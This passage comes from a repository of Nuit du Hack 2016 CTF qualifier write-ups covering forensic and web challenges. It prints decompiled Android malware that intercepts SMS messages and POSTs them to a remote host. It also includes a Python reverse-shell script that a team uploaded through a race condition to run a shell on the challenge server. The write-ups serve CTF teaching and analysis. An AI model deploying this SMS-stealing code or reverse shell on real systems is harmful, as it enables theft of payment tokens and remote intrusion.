encryptco encryptcy poop.jpeg 54 | chall encryptah encryptar encryptbb encryptbl encryptbv encryptcf encryptcp encryptcz text.gif 55 | chall(1) encryptai encryptas encryptbc encryptbm encryptbw encryptcg encryptcq encryptda unknown(1).gif 56 | chall(2) encryptaj encryptat encryptbd encryptbn encryptbx encryptch encryptcr encryptdb unknown.gif 57 | encryptaa encryptak encryptau encryptbe encryptbo encryptby encryptci encryptcs encryptdc wp 58 | encryptab encryptal encryptav encryptbf encryptbp encryptbz encryptcj encryptct hotspot(1).txt 59 | encryptac encryptam encryptaw encryptbg encryptbq encryptca encryptck encryptcu hotspot.txt 60 | ``` 61 | 62 | As expected, we can see encrypted files, a `key.txt` and pictures. 63 | The files `encryptXX` contains base64-encoded text : 64 | 65 | ```bash 66 | $ for i in ./encrypt*; do base64 -d $i >> flag.enc ; done 67 | $ file flag.enc 68 | flag.enc: data 69 | ``` 70 | 71 | Looking this through `hexedit`, I see : 72 | 73 | ![alt](salted.png) 74 | 75 | And `key.txt` contains bits : 76 | 77 | ```bash 78 | $ cat out/key.txt 79 | 010001110101111001100011011011100100100100111001010111100100011101000111001110010100011100111001010001110011100101000111001110010101111001100011011011100100100101101110010010010011100100110101010111100110001100111001001101010110111001001001011011100100100101000111010111100011100100110101011011100100100101011110011000110100011101011110001110010011010101011110011000110101111001100011010111100110001101000111010111100101111001100011011011100100100101000111010111100011100100110101010001110101111001101110010010010101111001100011010111100110001101101110010010010101111001100011010111100110001100111001001101010100011101011110010111100110001101011110011000110101111001100011010001110101111001000111010111100101111001100011011011100100100101101110010010010101111001100011 80 | ``` 81 | 82 | Once decoded, this gives : `G^cnI9^GG9G9G9G9^cnInI95^c95nInIG^95nI^cG^95^c^c^cG^^cnIG^95G^nI^c^cnI^c^c95G^^c^c^cG^G^^cnInI^c` and it doesn't look like a key/passphrase. 83 | ( I tried, in doubt... #ExpectedFail ) 84 | ```bash 85 | $ openssl aes-256-cbc -d -in flag.enc > flag ; file flag 86 | enter aes-256-cbc decryption password: 87 | bad decrypt 88 | ``` 89 | 90 | By looking at pictures, I can see an electronic scheme : 91 | 92 | ![alt](scheme.jpeg) 93 | 94 | Well, there are 8 inputs in the scheme which gives 1 bit as output, and the length of the key is 768. 95 | 96 | ```bash 97 | $ len $(cat out/key.txt ) 98 | 768 99 | ``` 100 | 101 | This means 96 bits, so 12 bytes. Seems legit. 102 | I decided to recode the scheme using BASH : 103 | 104 | ```bash 105 | a=$1 ; b=$2 ; c=$3 ; d=$4 ; e=$5 ; f=$6 ; g=$7 ; h=$8 106 | i=$(( 1 - $c )) ; j=$(( 1 - $d )) ; k=$(( 1 - $e )) ; l=$(( 1 - $b )) ; m=$(( 1 - $f )) ; n=$(( 1 - $h )) 107 | o=$(( $i & $a )) ; p=$(( $i & $l )) ; q=$(( $a & $b )) ; r=$(( $g ^ $f )) ; s=$(( $n ^ $l )) 108 | t=$(( $o & $j )) ; u=$(( $p & $j )) ; v=$(( $j & $q )) ; w=$(( $m & $c )) ; x=$(( $s & $c )) 109 | y=$(( $t & $k )) ; z=$(( $k & $u )) ; A=$(( $v & $k )) ; B=$(( $w & $r )) 110 | C=$(( $y | $z )) ; D=$(( $A | $B )) 111 | E=$(( $D | $x )) ; F=$(( $C | $E )) 112 | echo $F 113 | ``` 114 | 115 | Let's try this : 116 | 117 | ```bash 118 | $ while read l; do bash scheme.sh $l ; done < <(grep -oPe '.{8}' out/key.txt | sed -re 's/./&/g') | tr -d '\n' 119 | 001101000101010101101011011110100011100100110101010001100011001001011001011100010101000001101001 120 | 121 | $ len $(while read l; do bash scheme.sh $l ; done < <(grep -oPe '.{8}' out/key.txt | sed -re 's/./& /g') | tr -d '\n') 122 | 96 123 | ``` 124 | 125 | It seems to work, let's translate it into ASCII : 126 | 127 | ```bash 128 | $ python -c 'from Crypto.Util import number;print(number.long_to_bytes(int("'$(while read l; do 129 | > bash scheme.sh $l 130 | done < <(grep -oPe '.{8}' out/key.txt | sed -re 's/./& /g') | tr -d '\n')'", 2)))' 131 | 4Ukz95F2YqPi 132 | ``` 133 | 134 | WOW, looks like a legit passphrase. 135 | 136 | Decrypt the file with this key : 137 | 138 | ```bash 139 | $ openssl aes-256-cbc -d -in out/flag.enc > flag ; file flag 140 | enter aes-256-cbc decryption password: 141 | flag: Microsoft Word 2007+ 142 | ``` 143 | 144 | Open this Word document, and see the flag behind the picture. 145 | 146 | ![alt](word_flag.png) 147 | 148 |
149 | Pwned.
150 | __Flag__ : NDH[59rRS57bd5WH8RxgPbRS27q89a5bWrjL] 151 | 152 | Enjoy,
153 | \- [Notfound](http://www.notfound.ovh) 154 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/Invest/salted.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/nuit-du-hack-ctf-quals-2016/forensic/Invest/salted.png -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/Invest/scheme.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/nuit-du-hack-ctf-quals-2016/forensic/Invest/scheme.jpeg -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/Invest/word_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/nuit-du-hack-ctf-quals-2016/forensic/Invest/word_flag.png -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/Trololo/O.out: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | docx:doc:xls:xlsx:pdf:jpg:odt:ods:png:bmp:avi:mp4 11 | 12 | 13 | AD784DA62D1DDBB19B7F0500A52DD15C0BD70F924A5EF7C3CEA134C428747AFB 14 | 15 | 16 | New infected 17 | 18 | 19 | irc://irc.ndh2k16.com:6667 20 | 21 | 22 | #Crypt0NDH2K16 23 | 24 | 25 | orudeujieh6oonge4She 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/Trololo/README.md: -------------------------------------------------------------------------------- 1 | #NDH Quals CTF 2016 : Trololo 2 | 3 | **Category:** Forensic **Points:** 100 **Solves:** 83 4 | 5 | > Description : A computer belonging to a new company has been infected by a malware. This is a known version of a cryptolocker software, that uses a irc server to received commands. Let's try to grab its password... 6 | 7 | ##Write-up 8 | 9 | We begin this challenge with a [pcap](https://github.com/hexpresso/WU-2016/blob/master/nuit-du-hack-ctf-quals-2016/forensic/Trololo/trololo.pcap). First thing done, we opened this pcap with wireshark and then checked the protocol hierarchy `Wireshark > Statistics > Protocol Hierarchy`. We saw that 99% of the traffic where RTP, there are also some ICMP and HTTP too. So, let's see if we have any HTTP Object inside this pcap `Wireshark > File > Export Objects > HTTP`. Nice, we have a [config.enc](https://github.com/hexpresso/WU-2016/blob/master/nuit-du-hack-ctf-quals-2016/forensic/Trololo/config.enc) file. 10 | 11 | ``` 12 | $ file config.enc 13 | config.enc: Non-ISO extended-ASCII text, with very long lines, with NEL line terminators 14 | ``` 15 | 16 | With the description, we know the company have been infected with a malware, the config.enc is probably encrypted. We started to analyse it and to look for a key or any other element in some packet. One of our test on the analyse with [xortool](https://github.com/hellman/xortool) where nice. 17 | 18 | ``` 19 | $ xortool config.enc 20 | The most probable key lengths: 21 | 1: 82.9% 22 | 58: 9.2% 23 | 64: 7.9% 24 | ``` 25 | Let's try with the most frequent char to help xortool: 26 | ``` 27 | $ xortool -l 1 -c 20 config.enc 28 | 1 possible key(s) of length 1: 29 | \xff 30 | Found 1 plaintexts with 95.0%+ printable characters 31 | ``` 32 | 33 | Bingo, we got an xml file [O.out](https://github.com/hexpresso/WU-2016/blob/master/nuit-du-hack-ctf-quals-2016/forensic/Trololo/O.out) generated in xortool_out: 34 | 35 | **Flag:** orudeujieh6oonge4She 36 | 37 | [NotFound](https://twitter.com/Notfound404__) [zbetcheckin](https://twitter.com/zbetcheckin) 38 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/Trololo/config.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/nuit-du-hack-ctf-quals-2016/forensic/Trololo/config.enc -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/Trololo/trololo.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/nuit-du-hack-ctf-quals-2016/forensic/Trololo/trololo.pcap -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/WhoAmI/Alarm.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/nuit-du-hack-ctf-quals-2016/forensic/WhoAmI/Alarm.apk -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/WhoAmI/Alarm_apk_source: -------------------------------------------------------------------------------- 1 | package com.google.andorid.alarm; 2 | 3 | import android.annotation.TargetApi; 4 | import android.content.BroadcastReceiver; 5 | import android.content.Context; 6 | import android.content.Intent; 7 | import android.telephony.SmsMessage; 8 | import android.util.Base64; 9 | import android.util.Log; 10 | import java.io.DataOutputStream; 11 | import java.io.IOException; 12 | import java.net.URL; 13 | import java.nio.charset.StandardCharsets; 14 | import javax.net.ssl.HttpsURLConnection; 15 | 16 | public class wake_up 17 | extends BroadcastReceiver 18 | { 19 | private final String a = "android.provider.Telephony.SMS_RECEIVED"; 20 | 21 | static String a() 22 | { 23 | d(); 24 | return "TIFFEHNBMHLGSPTDAUGXWRUBSEUYHVEYBENZTDHYDERERPJDWPVKXHIENZTDHYDXLFNSJGAAZJOUZDAZPSZUU"; 25 | } 26 | 27 | static String b() 28 | { 29 | return "TIFFEHNBMHLGSPTDAUGXWRUBSEUYHVEYBENZTDHYDERERPJDWPVKXHIENZTDHYDXLFNSJGAAZJOUZDAZPSZUU"; 30 | } 31 | 32 | static String b(String paramString) 33 | { 34 | String str1 = ""; 35 | String str2 = d(); 36 | String str3 = paramString.toUpperCase(); 37 | int j = 0; 38 | int i = 0; 39 | paramString = str1; 40 | if (i < str3.length()) 41 | { 42 | int m = str3.charAt(i); 43 | int k = j; 44 | str1 = paramString; 45 | if (m >= 65) 46 | { 47 | if (m <= 90) { 48 | break label75; 49 | } 50 | str1 = paramString; 51 | } 52 | for (k = j;; k = (j + 1) % str2.length()) 53 | { 54 | i += 1; 55 | j = k; 56 | paramString = str1; 57 | break; 58 | label75: 59 | str1 = paramString + (char)((m - str2.charAt(j) + 26) % 26 + 65); 60 | } 61 | } 62 | paramString = e() + paramString; 63 | c(); 64 | return Base64.encodeToString(paramString.getBytes(), 0); 65 | } 66 | 67 | static String c() 68 | { 69 | return "TIFFEHNBMHLGSPTDAUGXWRUBSEUYHVEYBENZTDHYDERERPJDWPVKXHIENZTDHYDXLFNSJGAAZJOUZDAZPSZUU"; 70 | } 71 | 72 | static String d() 73 | { 74 | return "ABBATHHTUUIZZIPQPQBEEB"; 75 | } 76 | 77 | static String e() 78 | { 79 | String str = Character.toString("TIFFFLEHNBAMHLGSPTDAUGXWRUBSEUYHVEYBENZTDHYDERERPJDWPVKXHIENZTDHYDXLFNSJGAAZJOUZDAZPSZUU".charAt(3)); 80 | str = str + Character.toString("TIFFFLEHNBAMHLGSPTDAUGXWRUBSEUYHVEYBENZTDHYDERERPJDWPVKXHIENZTDHYDXLFNSJGAAZJOUZDAZPSZUU".charAt(5)); 81 | str = str + Character.toString("TIFFFLEHNBAMHLGSPTDAUGXWRUBSEUYHVEYBENZTDHYDERERPJDWPVKXHIENZTDHYDXLFNSJGAAZJOUZDAZPSZUU".charAt(10)); 82 | return str + Character.toString("TIFFFLEHNBAMHLGSPTDAUGXWRUBSEUYHVEYBENZTDHYDERERPJDWPVKXHIENZTDHYDXLFNSJGAAZJOUZDAZPSZUU".charAt(14)); 83 | } 84 | 85 | @TargetApi(19) 86 | public void a(String paramString) 87 | { 88 | String str = "msg=" + paramString; 89 | b(); 90 | byte[] arrayOfByte = str.getBytes(StandardCharsets.UTF_8); 91 | paramString = b(b()); 92 | Object localObject2 = (HttpsURLConnection)new URL("http://GiveMeYourSms.dtc.iya/").openConnection(); 93 | ((HttpsURLConnection)localObject2).setRequestMethod("POST"); 94 | ((HttpsURLConnection)localObject2).setRequestProperty("USER-AGENT", "Android"); 95 | ((HttpsURLConnection)localObject2).setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); 96 | ((HttpsURLConnection)localObject2).setRequestProperty("charset", "utf-8"); 97 | ((HttpsURLConnection)localObject2).setRequestProperty("Content-Length", Integer.toString(str.length())); 98 | ((HttpsURLConnection)localObject2).setRequestProperty("Authorization", paramString); 99 | ((HttpsURLConnection)localObject2).setUseCaches(false); 100 | a(); 101 | localObject2 = new DataOutputStream(((HttpsURLConnection)localObject2).getOutputStream()); 102 | paramString = null; 103 | try 104 | { 105 | ((DataOutputStream)localObject2).write(arrayOfByte); 106 | if ((localObject2 == null) || (0 != 0)) {} 107 | for (;;) 108 | { 109 | try 110 | { 111 | ((DataOutputStream)localObject2).close(); 112 | e(); 113 | return; 114 | } 115 | catch (Throwable paramString) 116 | { 117 | throw new NullPointerException(); 118 | } 119 | ((DataOutputStream)localObject2).close(); 120 | } 121 | try 122 | { 123 | ((DataOutputStream)localObject2).close(); 124 | throw ((Throwable)localObject1); 125 | } 126 | catch (Throwable localThrowable2) 127 | { 128 | for (;;) 129 | { 130 | paramString.addSuppressed(localThrowable2); 131 | } 132 | } 133 | } 134 | catch (Throwable localThrowable1) 135 | { 136 | paramString = localThrowable1; 137 | throw localThrowable1; 138 | } 139 | finally 140 | { 141 | if (localObject2 != null) { 142 | if (paramString == null) { 143 | break label198; 144 | } 145 | } 146 | } 147 | for (;;) 148 | { 149 | label198: 150 | localThrowable2.close(); 151 | } 152 | } 153 | 154 | public void onReceive(Context paramContext, Intent paramIntent) 155 | { 156 | int j = 0; 157 | if ((paramIntent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) && (paramIntent.getExtras() != null)) 158 | { 159 | paramIntent = (Object[])paramIntent.getSerializableExtra("pdus"); 160 | paramContext = new byte[paramIntent.length][]; 161 | int i = 0; 162 | while (i < paramIntent.length) 163 | { 164 | paramContext[i] = ((byte[])(byte[])paramIntent[i]); 165 | i += 1; 166 | } 167 | paramIntent = new byte[paramContext.length][]; 168 | int k = paramIntent.length; 169 | SmsMessage[] arrayOfSmsMessage = new SmsMessage[k]; 170 | i = j; 171 | for (;;) 172 | { 173 | if (i < k) 174 | { 175 | paramIntent[i] = paramContext[i]; 176 | arrayOfSmsMessage[i] = SmsMessage.createFromPdu(paramIntent[i]); 177 | Log.i("HIJACK", arrayOfSmsMessage[i].getMessageBody()); 178 | String str = arrayOfSmsMessage[i].getMessageBody(); 179 | try 180 | { 181 | a(str); 182 | i += 1; 183 | } 184 | catch (IOException localIOException) 185 | { 186 | for (;;) 187 | { 188 | localIOException.printStackTrace(); 189 | } 190 | } 191 | } 192 | } 193 | } 194 | } 195 | } 196 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/WhoAmI/README.md: -------------------------------------------------------------------------------- 1 | #NDH Quals CTF 2016 : Who am I? 2 | 3 | **Category:** Forensic **Points:** 150 **Solves:** 16 4 | 5 | > Description : Our forensics team has analyzed the cell phone of a bank fraud victim. A hacker managed to steal her money with fraudulent bank transfers. Then bank representatives think that the hacker hijacked SMS containing payment tokens, used to verify customer identify prior to sensitive operations. Apparently, the victim bought a second-hand and already rooted (Cyanongen OS) phone on eBay. During the acquisition stage, our team mad a bit-wise copy of the internal storage, but something went wrong during the process. After taking the victim cell phone, we made a backup of the internal storage but it hasn't been We need your help to recover the data and find how the intrusion occured. 6 | 7 | ##Write-up 8 | 9 | We begin this challenge with a whoami.zip (474,4 Mo). We first needed to fix it to be able to unzip it : 10 | ```bash 11 | $ zip -FF whoami.zip --out fixed.zip 12 | $ unzip fixed.zip 13 | ``` 14 | 15 | We checked the md5 sum with the 'nandroid.md5' list given and then listed the content: 16 | 17 | ```bash 18 | $ cd fixed 19 | $ du -sh * | sort -rh 20 | 604M system.ext4.tar.a 21 | 173M data.ext4.tar.a 22 | 12M recovery.img 23 | 8,0M boot.img 24 | 12K cache.ext4.tar.a 25 | 4,0K nandroid.md5 26 | 0 system.ext4.tar 27 | 0 data.ext4.tar 28 | 0 cache.ext4.tar 29 | ``` 30 | 31 | Then, the forensic part started and took a while before to found something interesting. We see that some of the folder was empty. 32 | 33 | We first analyse all folders and files with a recursive grep and some keywords but nothing interesting, we tried to get data from some DB like in 'data.ext4.a' : `data/com.android.providers.telephony/databases/mmssms.db` but it was empty... 34 | 35 | We analyse also the 'boot.img' and the 'recovery.img' with [bootimg-tools](https://github.com/pbatard/bootimg-tools) and [abootimg](https://github.com/codeworkx/abootimg) but again, nothing interesting. 36 | 37 | It was not easy to know 'what to search', but after some time focusing on the 'system.ext4.a' and all APK `find . -name "*.apk"`, [XeR](https://twitter.com/xer_0x2a) got the great idea to analyse all APK cert to figure out if some of them have a strange one: 38 | 39 | ```bash 40 | $ cd system/app/ 41 | $ for i in *; do unzip -d ${i%.apk} $i; done 42 | ``` 43 | 44 | Then 45 | 46 | ```bash 47 | for file in $(find . -type d -mindepth 1 -maxdepth 1); do 48 | cert="${file}/META-INF/CERT.RSA"; 49 | 50 | [ -f $cert ] && 51 | fgrep -q '@android.com' $cert || 52 | fgrep -q 'Google, Inc' $cert || 53 | fgrep -q 'Google Inc' $cert || 54 | echo $file; 55 | done 56 | ``` 57 | 58 | Well done: 59 | 60 | ```bash 61 | $ bash cert_check.sh 62 | grep: ./Term/META-INF/CERT.RSA: Aucun fichier ou dossier de ce type 63 | grep: ./Term/META-INF/CERT.RSA: Aucun fichier ou dossier de ce type 64 | ./Term 65 | ./Alarm 66 | ``` 67 | 68 | We then decided to reverse the [Alarm.apk](https://github.com/hexpresso/WU-2016/blob/master/nuit-du-hack-ctf-quals-2016/forensic/WhoAmI/Alarm.apk), which had permission to read SMS. 69 | Using a decompiler, we retrieved its [source code](https://github.com/hexpresso/WU-2016/blob/master/nuit-du-hack-ctf-quals-2016/forensic/WhoAmI/Alarm_apk_source). One of the function caught our intention : 70 | 71 | ```java 72 | static String b(String paramString) 73 | { 74 | String str1 = ""; 75 | String str2 = d(); 76 | String str3 = paramString.toUpperCase(); 77 | int j = 0; 78 | int i = 0; 79 | paramString = str1; 80 | if (i < str3.length()) 81 | { 82 | int m = str3.charAt(i); 83 | int k = j; 84 | str1 = paramString; 85 | if (m >= 65) 86 | { 87 | if (m <= 90) { 88 | break label75; 89 | } 90 | str1 = paramString; 91 | } 92 | for (k = j;; k = (j + 1) % str2.length()) 93 | { 94 | i += 1; 95 | j = k; 96 | paramString = str1; 97 | break; 98 | label75: 99 | str1 = paramString + (char)((m - str2.charAt(j) + 26) % 26 + 65); 100 | } 101 | } 102 | paramString = e() + paramString; 103 | c(); 104 | return Base64.encodeToString(paramString.getBytes(), 0); 105 | } 106 | ``` 107 | 108 | We noticed that it applies a Vigenere cipher to the first string from the source code, using the second string as the key. 109 | 110 | ``` 111 | Vigenere("TIFFEHNBMHLGSPTDAUGXWRUBSEUYHVEYBENZTDHYDERERPJDWPVKXHIENZTDHYDXLFNSJGAAZJOUZDAZPSZUU", "ABBATHHTUUIZZIPQPQBEEB") 112 | ``` 113 | 114 | Which gives us 115 | 116 | ``` 117 | THEFLAGISNDHTHENLEFTSQUAREBRACKETFORENSICANDROIDDIORDNAFORENSICTHENRIGHTSQUAREBRACKET 118 | ``` 119 | 120 | **Flag:** FORENSICANDROIDDIORDNAFORENSIC 121 | 122 | A great team work challenge [Hexpresso](https://twitter.com/hexpressoctf) 123 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/catch-me-if-you-can/README.md: -------------------------------------------------------------------------------- 1 | #NDH Quals CTF 2016 : Catch me if you can 2 | 3 | **Category:** Forensic **Points:** 100 4 | 5 | > Description : We managed to infect the computer of a target. We recorded all packets transferred over the USB port, but there is something unusual. We need them to be sorted to get the juicy secret. 6 | 7 | Attachment: [usb.pcap](usb.pcap) / 93.99 kB / 107af2dda6097d0f1e446ea375051899c900236279a4ff7fb5aca04708998c71 8 | 9 | ##Write-up 10 | 11 | **TL,DR:** 2 intertwined .ods downloads, with a riddle in the first one 12 | 13 | I start by looking at the pcap file with [Wireshark](https://www.wireshark.org/). 14 | Since I'm not familiar with USB dumps, I don't really know what's 15 | "unusual", but some bigger packets catch my eye, so I decide to 16 | follow what appears to be a hint ("sorted") and sort by size. 17 | I get 22 packets way larger than the others. 18 | 19 | Since Wireshark doesn't know how to deal with the payload, I switch 20 | to scripting with [scapy](http://www.secdev.org/projects/scapy/): 21 | 22 | ``` 23 | $ scapy 24 | > f = rdpcap('usb.pcap') 25 | ``` 26 | 27 | I see the `PK` string hinting for a zip file, plus 28 | `mimetypeapplication/vnd.oasis.opendocument.spreadsheet` hinting for 29 | an Open/LibreOffice Calc spreadsheet document. It seems the payload 30 | starts at offset 27 in each packet, let's assemble all the packets. 31 | ``` 32 | open('test.zip','w').write(''.join([p.load[27:] for p in f if len(p.load)>58])) 33 | ``` 34 | 35 | `unzip` says it's corrupted, must be some ordering to do, let's try by time: 36 | 37 | ``` 38 | ps=[p for p in f if len(p.load)>58] 39 | ps.sort(lambda a,b: a.time < b.time) 40 | open('test.zip','w').write(''.join([p.load[27:] for p in ps])) 41 | ``` 42 | 43 | Still corrupted, let's attempt to write all chunks for inspection: 44 | ``` 45 | for p in f: open('test'+str(p.time), 'w').write(p.load) 46 | ``` 47 | 48 | Lots of `.time` are identical, files are overwritten, this rules out 49 | sorting by date. Also there are 248 trailing null bytes in the payload 50 | that need to be removed. Let's extract all packets for manual 51 | inspection, and put them in a single file for manual ordering 52 | within a good, binary-safe editor such as <troll>Emacs</troll>. 53 | ``` 54 | for i in range(len(f)): 55 | if len(f[i].load) > 58: 56 | open('test'+("%03d"%i), 'w').write(f[i].load[27:-248]) 57 | ``` 58 | ``` 59 | $ for i in test???; do (cat $i; echo; echo) >> test.all; done 60 | ``` 61 | 62 | OK, there are 2 chunks starting with `PK^C^D`, so let's assume there 63 | are actually TWO zip files in here. The goal must be to reassemble 64 | the files based on knowledge of the format: 65 | 66 | https://en.wikipedia.org/wiki/Zip_%28file_format%29#Structure 67 | 68 | I spot two range of offsets in the `PK^A^B...` file entry headers, allowing a first grouping of the 69 | chunks. I then spend (too) much time trying to manually reorder the chunks, 70 | since I didn't find the ordering key. Eventually I figure out that 71 | chunks are actually in order... just one of each file alternatively: 72 | ``` 73 | for i in range(len(f)): 74 | if len(f[i].load) > 58: 75 | open("test-%d-%03d"%((i%2)+1,i), 'w').write(f[i].load[27:-248]) 76 | # + manually add the end of file #2, not the same number of trailing null bytes (?) 77 | open('test-2-803', 'w').write(f[803].load[27:]) 78 | ``` 79 | ``` 80 | $ cat test-1-* > test1.ods 81 | $ cat test-2-* > test2.ods 82 | ``` 83 | 84 | The second file looks like a prank and doesn't seem interesting. 85 | 86 | The first one looks like a riddle. I am perplex for a while but 87 | then the `<->` sign in the picture eventually gets me to look at the side of 88 | the speadsheet (Ctrl + arrow keys). At the bottom right: 89 | ``` 90 | g6d5g5f2b6g5d3e4d4b3c5b6k2j5j5g4l2 91 | ``` 92 | 93 | This looks like coordinates on the French keyboard from the spreadsheet: 94 | ``` 95 | g6 d5 g5 f2 b6 g5 d3 e4 d4 b3 c5 b6 k2 j5 j5 g4 l2 96 | n d h [ w h 3 r e 1 s w @ l l y ] 97 | ndh[wh3re1sw@lly] 98 | ``` 99 | 100 | And to finish, some flag format guessing to understand that one needs to drop `ndh[]` in the submission form, and we flag! 101 | 102 | ``` 103 | wh3re1sw@lly 104 | ``` 105 | 106 | -- Beuc 107 | -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/forensic/catch-me-if-you-can/usb.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexpresso/WU-2016/a1546f964e056f7d7bfdfcdaae1663d68383926f/nuit-du-hack-ctf-quals-2016/forensic/catch-me-if-you-can/usb.pcap -------------------------------------------------------------------------------- /nuit-du-hack-ctf-quals-2016/webapp/facesec2/README.md: -------------------------------------------------------------------------------- 1 | # Nuit du Hack Qualifications CTF 2016: Facesec 2 2 | 3 | **Category:** Web App | 4 | **Points:** 150 | 5 | **Solves:** 6 | 6 | **Description:** 7 | 8 | > _Description is missing, feel free to send a pull request_ 9 | 10 | ## Write-up 11 | 12 | _You can find a video of this write-up [here](https://youtu.be/H1kIzcLYo2U)._ 13 | 14 | This task is a website very similar to last year's Facesec: you can upload a 15 | resume (cv.txt), a cover letter (motiv.txt) or a tar file containing both. 16 | 17 | We did not manage to solve this task on time. We could solve it afterward with 18 | the help from xeka_: 19 | > web 150, upload you x.py exploit and check upload/x.py i that time so 20 | many times . race condition 21 | 22 | When you upload a tar file, the server processes it for about 2 seconds. During 23 | this time, it extracts your file to /upload/, and check that the correct files 24 | exist, and that they're not symlinks. (You can find /upload/ in robots.txt) 25 | 26 | During this windows, you can run python scripts embeded in your tar file. 27 | 28 | We tar'd a reverse shell called `foo.py`, went to /upload/foo.py (which return 29 | an error 404), uploaded it, and quickly refreshed the first tab to make the 30 | server run our script. 31 | ```python 32 | import socket 33 | import subprocess 34 | import os 35 | 36 | IP = "127.0.0.1" # Replace with *YOUR* IP 37 | port = 1234 38 | 39 | sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 40 | sock.connect((IP, port)) 41 | 42 | fd = sock.fileno() 43 | os.dup2(fd, 0); 44 | os.dup2(fd, 1); 45 | os.dup2(fd, 2); 46 | 47 | subprocess.call(["/bin/sh", "-i"]); 48 | ``` 49 | 50 | Flag is stored in /var/www/app/flag 51 | 52 | **Flag**: 6c401b82169dce09768e322661e04630 53 | 54 | **Bonus**: Facesec2 became a meme on IRC 55 | 56 | ![Facesec2?](https://pbs.twimg.com/media/CfEe650WQAEtq9z.jpg) 57 | ``` 58 | facesec2 ? 59 | facesec2? someone? plz? 60 | facesec2? 61 | facesec2 62 | *** MrStorm_ is now known as facesec2 63 | -vic511- facesec2? 64 | facesec2: 65 | ##### facesec2 ? #### 66 | ##### facesec2 ? ##### 67 | y u post no facesec2 writeup? =(( 68 | ##### facesec2 ? ##### 69 | facesec2 70 | ##### facesec2 ? ##### 71 | Did anyone ask about facesec2 yet? 72 | ##### 73 | ###### ## #### ###### #### ###### #### # # 74 | # # # # # # # # # # # 75 | ##### # # # ##### #### ##### # ##### 76 | # ###### # # # # # # 77 | # # # # # # # # # # # # 78 | # # # #### ###### #### ###### #### ####### 79 | ``` --------------------------------------------------------------------------------